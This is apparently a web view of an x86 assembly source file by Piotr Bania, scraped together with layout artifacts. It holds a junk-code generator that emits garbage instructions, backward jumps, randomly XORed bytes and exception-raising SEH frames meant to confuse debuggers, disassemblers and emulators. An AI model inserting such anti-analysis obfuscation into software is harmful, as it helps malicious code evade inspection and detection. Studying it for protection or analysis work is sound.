call random_setup ; set seed
|
||||||
|
mov ecx,30 ; loop counter
|
||||||
|
lea edi,temp_buff ; EDI = where to store
|
||||||
|
gen_it:
|
||||||
|
mov eax,3
|
||||||
|
call random_eax ; give random
|
||||||
|
cmp eax,0
|
||||||
|
je skip_jmp
|
||||||
|
|
||||||
|
cmp eax,1
|
||||||
|
je skip_sehs
|
||||||
|
|
||||||
|
call t_normalize_pops ; normalize stack before SEHs
|
||||||
|
add edi,eax
|
||||||
|
|
||||||
|
call gen_seh ; generate SEHs
|
||||||
|
add edi,eax ; add edi,generated_code_size
|
||||||
|
skip_sehs:
|
||||||
|
call gen_bjumps ; generate backwards jumps
|
||||||
|
add edi,eax ; add edi,generated_code_size
|
||||||
|
skip_jmp:
|
||||||
|
mov eax,2
|
||||||
|
call random_eax ; give random
|
||||||
|
test eax,eax
|
||||||
|
jnz gen_it2
|
||||||
|
|
||||||
|
call gen_garbage_i ; generate some stepable junk
|
||||||
|
jmp loopers
|
||||||
|
|
||||||
|
gen_it2:
|
||||||
|
call hardcode_garbage_i ; generate some hard junks
|
||||||
|
|
||||||
|
loopers:
|
||||||
|
add edi,eax ; add edi,generated_code_size
|
||||||
|
loop gen_it
|
||||||
|
|
||||||
|
|
||||||
|
call t_normalize_pops ; normalize stack if it wasn't
|
||||||
|
add edi,eax ; normalized
|
||||||
|
* SNIP *
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Have phun,
|
||||||
|
Piotr Bania
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
$
|
||||||
|
|
||||||
|
|
||||||
|
M0_EAX equ 0
|
||||||
|
M0_ECX equ 1
|
||||||
|
M0_EDX equ 2
|
||||||
|
M0_EBX equ 3
|
||||||
|
M0_ESI equ 4
|
||||||
|
M0_EDI equ 5
|
||||||
|
|
||||||
|
M1_EAX equ 0
|
||||||
|
M1_ECX equ 1
|
||||||
|
M1_EDX equ 2
|
||||||
|
M1_EBX equ 3
|
||||||
|
M1_ESI equ 6
|
||||||
|
M1_EDI equ 7
|
||||||
|
|
||||||
|
|
||||||
|
M2_EAX equ 0 shl 3
|
||||||
|
M2_ECX equ 1 shl 3
|
||||||
|
M2_EDX equ 2 shl 3
|
||||||
|
M2_EBX equ 3 shl 3
|
||||||
|
M2_ESI equ 6 shl 3
|
||||||
|
M2_EDI equ 7 shl 3
|
||||||
|
|
||||||
|
; -------------- MAIN REGISTERS TABLES ----------------------------------------
|
||||||
|
|
||||||
|
x1_table: db M1_EAX
|
||||||
|
db M1_ECX
|
||||||
|
db M1_EDX
|
||||||
|
db M1_EBX
|
||||||
|
db M1_ESI
|
||||||
|
db M1_EDI
|
||||||
|
x1_tbl_size = $ - offset x1_table
|
||||||
|
|
||||||
|
x2_table: db M2_EAX
|
||||||
|
db M2_ECX
|
||||||
|
db M2_EDX
|
||||||
|
db M2_EBX
|
||||||
|
db M2_ESI
|
||||||
|
db M2_EDI
|
||||||
|
x2_tbl_size = $ - offset x2_table
|
||||||
|
|
||||||
|
|
||||||
|
; -------------- INSTRUCTION TABLES -------------------------------------------
|
||||||
|
; FORMAT: (1 BYTE) (BYTE) (BYTE) (BYTE)
|
||||||
|
; <OPCODE> <MODRM> <LEN> <CSET>
|
||||||
|
;
|
||||||
|
; if there is no MODRM, MODRM must be set to 2Dh (temp)
|
||||||
|
|
||||||
|
NO_M equ 02dh
|
||||||
|
C_NONE equ 0
|
||||||
|
C_SRC equ 1
|
||||||
|
C_DST equ 2
|
||||||
|
C_BOTH equ 3
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
allowed_regs: db M0_EAX, M0_ECX, M0_EDX, M0_EBX, M0_ESI, M0_EDI
|
||||||
|
instr_table: db 0f9h, NO_M, 1h, C_NONE ; stc
|
||||||
|
db 0EBh, NO_M, 2h, C_NONE ; jmp $+1
|
||||||
|
db 0c7h, 0c0h, 6h, C_SRC ; mov reg(EAX),NUM
|
||||||
|
db 08bh, 0c0h, 2h, C_BOTH ; mov reg(EAX),reg(EAX)
|
||||||
|
db 081h, 0c0h, 6h, C_SRC ; add reg(EAX),NUM
|
||||||
|
db 003h, 0c0h, 2h, C_BOTH ; add reg(EAX),reg(EAX)
|
||||||
|
db 081h, 0e8h, 6h, C_SRC ; sub reg(EAX),NUM
|
||||||
|
db 02bh, 0c0h, 2h, C_BOTH ; sub reg(EAX),reg(EAX)
|
||||||
|
db 040h, NO_M, 1h, C_SRC ; inc reg(EAX)
|
||||||
|
db 048h, NO_M, 1h, C_SRC ; dec reg(EAX)
|
||||||
|
_i_xor_r db 033h, 0c0h, 2h, C_BOTH ; xor reg(EAX),reg(EAX)
|
||||||
|
db 009h, 0c0h, 2h, C_BOTH ; or reg(EAX),reg(EAX)
|
||||||
|
db 081h, 0c8h, 6h, C_SRC ; or reg(EAX),NUM
|
||||||
|
db 03bh, 0c0h, 2h, C_BOTH
|
||||||
|
db 085h, 0c0h, 2h, C_BOTH
|
||||||
|
db 01bh, 0c0h, 2h, C_BOTH ; sbb reg(EAX),reg(EAX)
|
||||||
|
db 011h, 0c0h, 2h, C_BOTH ; adc reg(EAX),reg(EAX)
|
||||||
|
db 0f7h, 0d0h, 2h, C_SRC ; not reg(EAX)
|
||||||
|
db 0f7h, 0d8h, 2h, C_SRC ; neg reg(EAX)
|
||||||
|
db 0d1h, 0f8h, 2h, C_SRC ; sar reg(EAX),1
|
||||||
|
db 0d1h, 0d8h, 2h, C_SRC ; rcr reg(EAX),1
|
||||||
|
db 0d1h, 0d0h, 2h, C_SRC ; rcl reg(EAX),1
|
||||||
|
db 091h, NO_M, 1h, C_SRC ; xchg reg(EAX),reg(ECX)
|
||||||
|
db 090h, NO_M, 1h, C_NONE ; nop
|
||||||
|
db 0fch, NO_M, 1h, C_NONE ; cld
|
||||||
|
db 0f8h, NO_M, 1h, C_NONE ; clc
|
||||||
|
db 0fdh, NO_M, 1h, C_NONE ; std
|
||||||
|
db 09bh, NO_M, 1h, C_NONE ; wait
|
||||||
|
db 050h, NO_M, 1h, C_SRC ; push reg(eax)
|
||||||
|
_i_pop db 058h, NO_M, 1h, C_SRC ; pop reg(eax) (must be last one)
|
||||||
|
ENTRY_TABLE_SIZE = 4
|
||||||
|
instr_table_size = (($-offset instr_table)/4)
|
||||||
|
|
||||||
|
dd 0
|
||||||
|
push_number dd 0
|
||||||
|
do_push db 1 ; should we process pushs?
|
||||||
|
|
||||||
|
O_JMP equ 0EBh
|
||||||
|
O_PUSH equ 050h
|
||||||
|
O_POP equ 058h
|
||||||
|
i_jmp: db 0EBh, NO_M, 2h ; jmp $+1
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
; -------------- GARBAGE GENERATOR (SAFE) ------------------------------------
|
||||||
|
; EDI = where
|
||||||
|
; ----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
gen_garbage_i:
|
||||||
|
|
||||||
|
pushad
|
||||||
|
garbage_again:
|
||||||
|
mov eax,instr_table_size
|
||||||
|
call random_eax
|
||||||
|
|
||||||
|
lea esi,instr_table
|
||||||
|
mov ecx,ENTRY_TABLE_SIZE
|
||||||
|
mul ecx ; eax=member from table to use
|
||||||
|
add esi,eax
|
||||||
|
jmp garbage_co
|
||||||
|
|
||||||
|
garbage_hand: pushad
|
||||||
|
garbage_co: lodsw ; ah = modrm value / al=opcode
|
||||||
|
cmp ah,NO_M
|
||||||
|
je no_modrm
|
||||||
|
stosb ; store opcode
|
||||||
|
xor edx,edx
|
||||||
|
mov dl,ah
|
||||||
|
cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
|
||||||
|
je p_01
|
||||||
|
cmp byte ptr [esi+1],C_SRC
|
||||||
|
jne t_01
|
||||||
|
|
||||||
|
p_01: and dl,0F8h
|
||||||
|
mov eax,x1_tbl_size
|
||||||
|
call random_eax
|
||||||
|
mov al,byte ptr [allowed_regs[eax]]
|
||||||
|
mov al,byte ptr [x1_table[eax]]
|
||||||
|
or dl,al
|
||||||
|
mov byte ptr [edi],dl
|
||||||
|
|
||||||
|
t_01: cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
|
||||||
|
je p_02
|
||||||
|
cmp byte ptr [esi+1],C_DST
|
||||||
|
jne finish_i
|
||||||
|
|
||||||
|
p_02: and dl,0C7h
|
||||||
|
mov eax,x2_tbl_size
|
||||||
|
call random_eax
|
||||||
|
mov al,byte ptr [allowed_regs[eax]]
|
||||||
|
mov al,byte ptr [x2_table[eax]]
|
||||||
|
or dl,al ; update modrm value
|
||||||
|
mov byte ptr [edi],dl
|
||||||
|
|
||||||
|
finish_i: mov cl,byte ptr [esi]
|
||||||
|
sub cl,2
|
||||||
|
inc edi
|
||||||
|
cmp cl,0
|
||||||
|
jle garbage_done
|
||||||
|
|
||||||
|
store_op: mov eax,12345678h
|
||||||
|
call random_eax
|
||||||
|
stosb
|
||||||
|
loop store_op
|
||||||
|
|
||||||
|
|
||||||
|
garbage_done: xor eax,eax
|
||||||
|
mov al,byte ptr [esi]
|
||||||
|
mov [esp+PUSHA_STRUCT._EAX],eax
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
; ----------------------------------------------------
|
||||||
|
; NO MOD-RMs
|
||||||
|
; ----------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
no_modrm: xor edx,edx
|
||||||
|
mov dl,al
|
||||||
|
|
||||||
|
cmp byte ptr [esi+1],C_NONE
|
||||||
|
je t_none
|
||||||
|
cmp dl,O_PUSH
|
||||||
|
je t_push
|
||||||
|
cmp dl,O_POP
|
||||||
|
je t_pop
|
||||||
|
|
||||||
|
|
||||||
|
go_nomodrm: mov eax,x1_tbl_size
|
||||||
|
call random_eax
|
||||||
|
mov al,byte ptr [allowed_regs[eax]]
|
||||||
|
mov al,byte ptr [x1_table[eax]]
|
||||||
|
and dl,0F8h
|
||||||
|
or dl,al
|
||||||
|
mov byte ptr [edi],dl
|
||||||
|
inc edi
|
||||||
|
jmp finish_i
|
||||||
|
|
||||||
|
t_none: mov byte ptr [edi],dl
|
||||||
|
inc edi
|
||||||
|
cmp dl,O_JMP
|
||||||
|
jne finish_i
|
||||||
|
mov byte ptr [edi],0
|
||||||
|
inc edi
|
||||||
|
jmp finish_i
|
||||||
|
|
||||||
|
t_push: cmp byte ptr [do_push],1
|
||||||
|
jne garbage_again
|
||||||
|
inc dword ptr [push_number]
|
||||||
|
jmp go_nomodrm
|
||||||
|
|
||||||
|
t_pop: cmp byte ptr [do_push],1
|
||||||
|
jne garbage_again
|
||||||
|
|
||||||
|
cmp dword ptr [push_number],0
|
||||||
|
jle garbage_again
|
||||||
|
|
||||||
|
dec dword ptr [push_number]
|
||||||
|
jmp go_nomodrm
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
t_normalize_pops:
|
||||||
|
|
||||||
|
pushad
|
||||||
|
xor ebx,ebx
|
||||||
|
mov ecx,dword ptr [push_number]
|
||||||
|
test ecx,ecx
|
||||||
|
jz t_opsexit
|
||||||
|
|
||||||
|
|
||||||
|
t_givepops: lea esi,_i_pop
|
||||||
|
call garbage_hand
|
||||||
|
add edi,eax
|
||||||
|
add ebx,eax
|
||||||
|
loop t_givepops
|
||||||
|
|
||||||
|
t_opsexit: mov [esp+PUSHA_STRUCT._EAX],ebx
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; HARDCORE GARBAGER
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; EDI = where to store
|
||||||
|
;
|
||||||
|
; This one generates code like this:
|
||||||
|
; jmp over_garbage
|
||||||
|
; <totaly random generated garbage>
|
||||||
|
; <normal garbage>
|
||||||
|
; max: up to 20 "instructions"
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
hardcode_garbage_i:
|
||||||
|
|
||||||
|
pushad
|
||||||
|
mov ebx,edi
|
||||||
|
lea edi,hardcore_temp
|
||||||
|
mov eax,20
|
||||||
|
call random_eax
|
||||||
|
mov ecx,eax
|
||||||
|
add ecx,4
|
||||||
|
|
||||||
|
h_fill: mov eax,2
|
||||||
|
call random_eax
|
||||||
|
test eax,eax
|
||||||
|
jnz h_hard
|
||||||
|
call gen_garbage_i
|
||||||
|
jmp h_cont
|
||||||
|
|
||||||
|
h_hard: mov eax,5
|
||||||
|
call random_eax
|
||||||
|
mov edx,eax
|
||||||
|
inc edx
|
||||||
|
xor esi,esi
|
||||||
|
|
||||||
|
h_hard_fill: mov eax,0FFFFh
|
||||||
|
call random_eax
|
||||||
|
stosb
|
||||||
|
inc esi
|
||||||
|
dec edx
|
||||||
|
jnz h_hard_fill
|
||||||
|
loop h_fill
|
||||||
|
jmp h_done
|
||||||
|
|
||||||
|
h_cont: add edi,eax
|
||||||
|
loop h_fill
|
||||||
|
|
||||||
|
h_done: lea ecx,hardcore_temp
|
||||||
|
sub edi,ecx
|
||||||
|
mov ecx,edi
|
||||||
|
|
||||||
|
mov byte ptr [ebx],O_JMP
|
||||||
|
inc ebx
|
||||||
|
mov byte ptr [ebx],cl
|
||||||
|
inc ebx
|
||||||
|
|
||||||
|
push ecx
|
||||||
|
mov edi,ebx
|
||||||
|
lea esi,hardcore_temp
|
||||||
|
rep movsb
|
||||||
|
pop eax
|
||||||
|
add eax,2
|
||||||
|
|
||||||
|
mov [esp+PUSHA_STRUCT._EAX],eax
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
; -------------------------------------------------------------
|
||||||
|
; Generates backwards jumps
|
||||||
|
; -------------------------------------------------------------
|
||||||
|
; EDI = buffor
|
||||||
|
|
||||||
|
gen_bjumps:
|
||||||
|
|
||||||
|
pushad
|
||||||
|
mov ebx,edi
|
||||||
|
mov byte ptr [jmp_flag],0
|
||||||
|
mov byte ptr [jmp_flag_b],0
|
||||||
|
mov dword ptr [count_jmp],0
|
||||||
|
mov dword ptr [where_where],0
|
||||||
|
mov dword ptr [jmp_bytes],0
|
||||||
|
mov byte ptr [do_push],0
|
||||||
|
mov byte ptr [where_losed],0
|
||||||
|
|
||||||
|
mov byte ptr [ebx],O_JMP
|
||||||
|
mov dword ptr [where_start],ebx
|
||||||
|
add dword ptr [where_start],2
|
||||||
|
inc ebx
|
||||||
|
|
||||||
|
xor esi,esi
|
||||||
|
add edi,2
|
||||||
|
add dword ptr [jmp_bytes],2
|
||||||
|
|
||||||
|
gen_gar_i: mov eax,20
|
||||||
|
call random_eax
|
||||||
|
mov ecx,eax
|
||||||
|
add ecx,10
|
||||||
|
|
||||||
|
gen_gar_ii: call gen_garbage_i
|
||||||
|
add dword ptr [jmp_bytes],eax
|
||||||
|
add esi,eax
|
||||||
|
add edi,eax
|
||||||
|
cmp byte ptr [jmp_flag],1
|
||||||
|
jne gen_gari_ix
|
||||||
|
add dword ptr [count_jmp],eax
|
||||||
|
jmp gen_gari_ixx
|
||||||
|
|
||||||
|
gen_gari_ix: push eax
|
||||||
|
mov eax,2
|
||||||
|
call random_eax
|
||||||
|
mov edx,eax
|
||||||
|
pop eax
|
||||||
|
cmp byte ptr [where_losed],1
|
||||||
|
je gen_gari_ixx
|
||||||
|
add dword ptr [where_start],eax
|
||||||
|
cmp edx,1
|
||||||
|
je gen_gari_ixx
|
||||||
|
mov byte ptr [where_losed],1
|
||||||
|
|
||||||
|
gen_gari_ixx: mov eax,3
|
||||||
|
call random_eax
|
||||||
|
cmp eax,2
|
||||||
|
jne cont_gari
|
||||||
|
cmp byte ptr [jmp_flag],1
|
||||||
|
je cont_gari
|
||||||
|
mov byte ptr [jmp_flag],1
|
||||||
|
mov byte ptr [edi],O_JMP
|
||||||
|
inc edi
|
||||||
|
mov dword ptr [where_jmp],edi
|
||||||
|
inc edi
|
||||||
|
add esi,2
|
||||||
|
|
||||||
|
cont_gari: loop gen_gar_ii
|
||||||
|
mov eax,esi
|
||||||
|
mov byte ptr [ebx],al
|
||||||
|
cmp byte ptr [jmp_flag],1
|
||||||
|
je cont_gari2
|
||||||
|
mov byte ptr [edi],O_JMP
|
||||||
|
inc edi
|
||||||
|
mov dword ptr [where_jmp],edi
|
||||||
|
inc edi
|
||||||
|
|
||||||
|
cont_gari2: mov dword ptr [where_where],edi
|
||||||
|
add dword ptr [jmp_bytes],2
|
||||||
|
mov eax,5
|
||||||
|
call random_eax
|
||||||
|
inc eax
|
||||||
|
mov ecx,eax
|
||||||
|
|
||||||
|
cont_gari3: call gen_garbage_i
|
||||||
|
add dword ptr [jmp_bytes],eax
|
||||||
|
add edi,eax
|
||||||
|
add dword ptr [count_jmp],eax
|
||||||
|
loop cont_gari3
|
||||||
|
mov byte ptr [edi],O_JMP
|
||||||
|
mov eax,edi
|
||||||
|
sub eax,dword ptr [where_start]
|
||||||
|
add eax,2
|
||||||
|
neg eax
|
||||||
|
|
||||||
|
pushad
|
||||||
|
add edi,2
|
||||||
|
mov eax,4
|
||||||
|
call random_eax
|
||||||
|
mov ecx,eax
|
||||||
|
test ecx,ecx
|
||||||
|
jz cont_gari4
|
||||||
|
|
||||||
|
place_gar: mov eax,0FFh
|
||||||
|
call random_eax
|
||||||
|
inc dword ptr [count_jmp]
|
||||||
|
inc dword ptr [jmp_bytes]
|
||||||
|
stosb
|
||||||
|
loop place_gar
|
||||||
|
|
||||||
|
|
||||||
|
cont_gari4: add dword ptr [count_jmp],2
|
||||||
|
mov eax,dword ptr [count_jmp]
|
||||||
|
mov edx,dword ptr [where_jmp]
|
||||||
|
mov byte ptr [edx],al
|
||||||
|
popad
|
||||||
|
mov byte ptr [edi+1],al
|
||||||
|
add dword ptr [jmp_bytes],2
|
||||||
|
mov edx,dword ptr [where_where]
|
||||||
|
sub edx,dword ptr [where_jmp]
|
||||||
|
dec edx
|
||||||
|
mov ecx,edx
|
||||||
|
mov edx,dword ptr [where_jmp]
|
||||||
|
inc edx
|
||||||
|
cmp ecx,0
|
||||||
|
jle cont_no_xor
|
||||||
|
|
||||||
|
cont_xor: mov eax,0FFh
|
||||||
|
call random_eax
|
||||||
|
xor byte ptr [edx],al
|
||||||
|
inc edx
|
||||||
|
loop cont_xor
|
||||||
|
|
||||||
|
cont_no_xor: mov byte ptr [do_push],1
|
||||||
|
mov edx,dword ptr [jmp_bytes]
|
||||||
|
mov [esp+PUSHA_STRUCT._EAX],edx
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
jmp_bytes dd 0
|
||||||
|
where_losed db 0
|
||||||
|
where_where dd 0
|
||||||
|
where_start dd 0
|
||||||
|
count_jmp dd 0
|
||||||
|
where_jmp dd 0
|
||||||
|
jmp_flag db 0
|
||||||
|
jmp_flag_b db 0
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
; -------------------------------------------------------------
|
||||||
|
; Generates SEH frames/exceptions/etc.
|
||||||
|
; -------------------------------------------------------------
|
||||||
|
; EDI = buffor
|
||||||
|
|
||||||
|
|
||||||
|
FS_PREFIX equ 064h
|
||||||
|
seh_push_fs db 0ffh, 030h, 2h, C_SRC
|
||||||
|
seh_mov_fs db 089h, 020h, 2h, C_SRC
|
||||||
|
seh_pop_fs db 08fh, 000h, 2h, C_SRC
|
||||||
|
|
||||||
|
_mov_reg_esp db 08bh, 0c4h, 2h, C_DST ; mov reg,ESP
|
||||||
|
_add_reg_num db 081h, 0c0h, 2h, C_SRC ; add reg,NUM (we must typo NUM by hand: 4) LEN=6
|
||||||
|
_mov_reg_oreg db 08bh, 000h, 2h, C_BOTH ; mov reg,[REG]
|
||||||
|
_mov_dreg_num db 0c7h, 080h, 2h, C_SRC ; mov [reg+NUM],0 (add NUM by hand) LEN: A
|
||||||
|
_add_dreg_num db 081h, 080h, 2h, C_SRC
|
||||||
|
|
||||||
|
exception_table:
|
||||||
|
db 0CCh ; int 3
|
||||||
|
db 0fah ; cli
|
||||||
|
db 0fbh ; sti
|
||||||
|
exception_table_size = $-offset exception_table
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
gen_seh:
|
||||||
|
pushad
|
||||||
|
xor edx,edx
|
||||||
|
mov ebx,edi
|
||||||
|
mov byte ptr [edi],0E8h
|
||||||
|
mov dword ptr [edi+1],0
|
||||||
|
add edx,5
|
||||||
|
add edi,5
|
||||||
|
push edi
|
||||||
|
lea esi,allowed_regs
|
||||||
|
mov ecx,x1_tbl_size
|
||||||
|
push esi
|
||||||
|
push ecx
|
||||||
|
lea edi,allowed_regs_temp
|
||||||
|
rep movsb
|
||||||
|
pop ecx
|
||||||
|
pop edi
|
||||||
|
|
||||||
|
pushad
|
||||||
|
mov eax,x1_tbl_size
|
||||||
|
call random_eax
|
||||||
|
cmp eax,M0_EAX
|
||||||
|
jne reg_p
|
||||||
|
inc eax ; somehow :) EAX usage results with invalid disposition error
|
||||||
|
|
||||||
|
reg_p: rep stosb
|
||||||
|
mov edi,[esp+PUSHA_STRUCT_SIZE]
|
||||||
|
lea esi,_mov_reg_esp
|
||||||
|
call garbage_hand
|
||||||
|
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
|
||||||
|
add [esp+PUSHA_STRUCT_SIZE],eax
|
||||||
|
add edi,eax
|
||||||
|
lea esi,_add_reg_num
|
||||||
|
call garbage_hand
|
||||||
|
add edi,2
|
||||||
|
mov dword ptr [edi],0Ch
|
||||||
|
add dword ptr [esp+PUSHA_STRUCT._EDX],6
|
||||||
|
add [esp+PUSHA_STRUCT_SIZE],6
|
||||||
|
add edi,4
|
||||||
|
lea esi,_mov_reg_oreg
|
||||||
|
call garbage_hand
|
||||||
|
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
|
||||||
|
add [esp+PUSHA_STRUCT_SIZE],eax
|
||||||
|
add edi,eax
|
||||||
|
lea esi,_mov_dreg_num
|
||||||
|
call garbage_hand
|
||||||
|
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||||
|
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||||
|
add edi,2
|
||||||
|
mov dword ptr [edi],04h
|
||||||
|
mov dword ptr [edi+4],0h
|
||||||
|
add edi,0ah-2
|
||||||
|
lea esi,_mov_dreg_num
|
||||||
|
call garbage_hand
|
||||||
|
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||||
|
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||||
|
add edi,2
|
||||||
|
mov dword ptr [edi],08h
|
||||||
|
mov dword ptr [edi+4],0h
|
||||||
|
add edi,0ah-2
|
||||||
|
lea esi,_mov_dreg_num
|
||||||
|
call garbage_hand
|
||||||
|
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||||
|
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||||
|
add edi,2
|
||||||
|
mov dword ptr [edi],12h
|
||||||
|
mov dword ptr [edi+4],0h
|
||||||
|
add edi,0ah-2
|
||||||
|
lea esi,_mov_dreg_num
|
||||||
|
call garbage_hand
|
||||||
|
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||||
|
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||||
|
add edi,2
|
||||||
|
mov dword ptr [edi],16h
|
||||||
|
mov dword ptr [edi+4],0h
|
||||||
|
add edi,0ah-2
|
||||||
|
lea esi,_add_dreg_num
|
||||||
|
call garbage_hand
|
||||||
|
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+1
|
||||||
|
add [esp+PUSHA_STRUCT_SIZE],0ah+1
|
||||||
|
add edi,2
|
||||||
|
mov dword ptr [edi],0b8h
|
||||||
|
add edi,4
|
||||||
|
mov dword ptr [where_over],edi
|
||||||
|
add edi,0ah-6
|
||||||
|
mov byte ptr [edi],0C3h ; ret
|
||||||
|
inc edi
|
||||||
|
popad
|
||||||
|
mov byte ptr [ebx+1],dl
|
||||||
|
sub byte ptr [ebx+1],5
|
||||||
|
mov eax,x1_tbl_size
|
||||||
|
call random_eax
|
||||||
|
rep stosb
|
||||||
|
pop edi
|
||||||
|
lea esi,_i_xor_r
|
||||||
|
call garbage_hand
|
||||||
|
add edi,eax
|
||||||
|
add edx,eax
|
||||||
|
mov byte ptr [edi],FS_PREFIX
|
||||||
|
inc edi
|
||||||
|
inc edx
|
||||||
|
lea esi,seh_push_fs
|
||||||
|
call garbage_hand
|
||||||
|
add edi,eax
|
||||||
|
add edx,eax
|
||||||
|
mov byte ptr [edi],FS_PREFIX
|
||||||
|
inc edi
|
||||||
|
inc edx
|
||||||
|
lea esi,seh_mov_fs
|
||||||
|
call garbage_hand
|
||||||
|
add edi,eax
|
||||||
|
add edx,eax
|
||||||
|
call reset_regs
|
||||||
|
xor ebx,ebx
|
||||||
|
mov eax,exception_table_size
|
||||||
|
call random_eax
|
||||||
|
mov cl,byte ptr exception_table[eax]
|
||||||
|
mov byte ptr [edi],cl
|
||||||
|
inc edx
|
||||||
|
inc edi
|
||||||
|
inc ebx
|
||||||
|
call fill_trash
|
||||||
|
add edx,eax
|
||||||
|
add ebx,eax
|
||||||
|
add edi,eax
|
||||||
|
push edi
|
||||||
|
mov edi,dword ptr [where_over]
|
||||||
|
mov dword ptr [edi],ebx
|
||||||
|
pop edi
|
||||||
|
call finalize_seh
|
||||||
|
add edx,eax
|
||||||
|
mov [esp+PUSHA_STRUCT._EAX],edx
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
where_over dd 0
|
||||||
|
allowed_regs_temp db x1_tbl_size dup (0)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
finalize_seh:
|
||||||
|
pushad
|
||||||
|
call gen_regs
|
||||||
|
xor edx,edx
|
||||||
|
lea esi,_i_xor_r
|
||||||
|
call garbage_hand
|
||||||
|
add edi,eax
|
||||||
|
add edx,eax
|
||||||
|
mov byte ptr [edi],FS_PREFIX
|
||||||
|
inc edi
|
||||||
|
inc edx
|
||||||
|
lea esi,seh_pop_fs
|
||||||
|
call garbage_hand
|
||||||
|
add edi,eax
|
||||||
|
add edx,eax
|
||||||
|
call reset_regs
|
||||||
|
inc dword ptr [push_number]
|
||||||
|
lea esi,_i_pop
|
||||||
|
call garbage_hand
|
||||||
|
add edx,eax
|
||||||
|
add edi,eax
|
||||||
|
mov [esp+PUSHA_STRUCT._EAX],edx
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
fill_trash: pushad
|
||||||
|
xor ebx,ebx
|
||||||
|
mov eax,20
|
||||||
|
call random_eax
|
||||||
|
mov ecx,eax
|
||||||
|
test eax,eax
|
||||||
|
jz done_fill_trash
|
||||||
|
|
||||||
|
fill_trash_x: mov eax,0FFh
|
||||||
|
call random_eax
|
||||||
|
stosb
|
||||||
|
inc ebx
|
||||||
|
loop fill_trash_x
|
||||||
|
|
||||||
|
done_fill_trash:
|
||||||
|
mov [esp+PUSHA_STRUCT._EAX],ebx
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
reset_regs:
|
||||||
|
pushad
|
||||||
|
lea esi,allowed_regs_temp
|
||||||
|
mov ecx,x1_tbl_size
|
||||||
|
lea edi,allowed_regs
|
||||||
|
rep movsb
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
gen_regs: pushad
|
||||||
|
mov eax,x1_tbl_size
|
||||||
|
call random_eax
|
||||||
|
lea edi,allowed_regs
|
||||||
|
mov ecx,x1_tbl_size
|
||||||
|
rep stosb
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
set_random: pushad
|
||||||
|
mov eax,6
|
||||||
|
call random_eax
|
||||||
|
cmp eax,5
|
||||||
|
jne not_set
|
||||||
|
call gen_bjumps
|
||||||
|
jmp le_set
|
||||||
|
|
||||||
|
not_set: xor eax,eax
|
||||||
|
le_set: mov [esp+PUSHA_STRUCT._EAX],eax
|
||||||
|
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
random_setup proc
|
||||||
|
|
||||||
|
@callx GetTickCount
|
||||||
|
mov Random_Seed,eax
|
||||||
|
ret
|
||||||
|
|
||||||
|
random_setup endp
|
||||||
|
|
||||||
|
Random_Seed dd 0
|
||||||
|
|
||||||
|
random_eax proc
|
||||||
|
|
||||||
|
PUSH ECX
|
||||||
|
PUSH EDX
|
||||||
|
PUSH EAX
|
||||||
|
db 0Fh, 31h ; RDTSC
|
||||||
|
MOV ECX, Random_Seed
|
||||||
|
ADD EAX, ECX
|
||||||
|
ROL ECX, 1
|
||||||
|
ADD ECX, 666h
|
||||||
|
MOV Random_Seed, ECX
|
||||||
|
PUSH 32
|
||||||
|
POP ECX
|
||||||
|
|
||||||
|
CRC_Bit: SHR EAX, 1
|
||||||
|
JNC Loop_CRC_Bit
|
||||||
|
XOR EAX, 0EDB88320h
|
||||||
|
|
||||||
|
Loop_CRC_Bit: LOOP CRC_Bit
|
||||||
|
POP ECX
|
||||||
|
XOR EDX, EDX
|
||||||
|
DIV ECX
|
||||||
|
XCHG EDX, EAX
|
||||||
|
OR EAX, EAX
|
||||||
|
POP EDX
|
||||||
|
POP ECX
|
||||||
|
RETN
|
||||||
|
random_eax endp
|
Loading…
Reference in New Issue
Block a user